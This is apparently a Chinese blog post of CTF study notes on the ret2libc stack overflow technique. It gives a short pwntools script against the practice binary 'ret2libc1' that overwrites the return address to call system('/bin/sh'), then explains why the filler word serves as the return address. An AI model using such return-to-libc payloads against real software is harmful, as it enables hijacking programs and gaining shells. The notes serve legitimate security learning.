【PWN】Ret2libc
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2libc
1. 有system有binsh#
这种好弄,直接
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
转载自lexsd6师傅)#
在溢出数据后,使用libc库中system函数的地址覆盖掉原本的返回地址(这样原函数返回的时候会转而调用system函数),然后跟着是返回地址、参数。所以我们的system后加4个字符(‘p32(0)’)在图中的‘Filler’的位置指代是返回地址。
那么跟的问题也来了,为什么Filler’的位置(‘p(0)’)指代是返回地址?为什么参数跟在返回地址后面?
正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到EIP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是在我们的利用漏洞攻击中,直接通过覆盖EIP地址跳转到了system函数,而并没有经过call调用,也即是没有push EIP的操作,但是system函数却照常进行了ret指令的pop EIP操作。此时的ESP指向了Filler,所以根据栈的‘后进先出’的原则在栈顶(ESP)的Filler会被pop出保存在EIP中。而EIP作用是保存的是返回地址,所以Filler就成了返回地址。
同时我们在进行漏洞攻击中,与正常函数相比就只少了‘进入到system函数之前,call指令已经通过push EIP将其返回地址push到栈帧中’这一步骤,因此参数还是正常的跟在返回地址后面。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix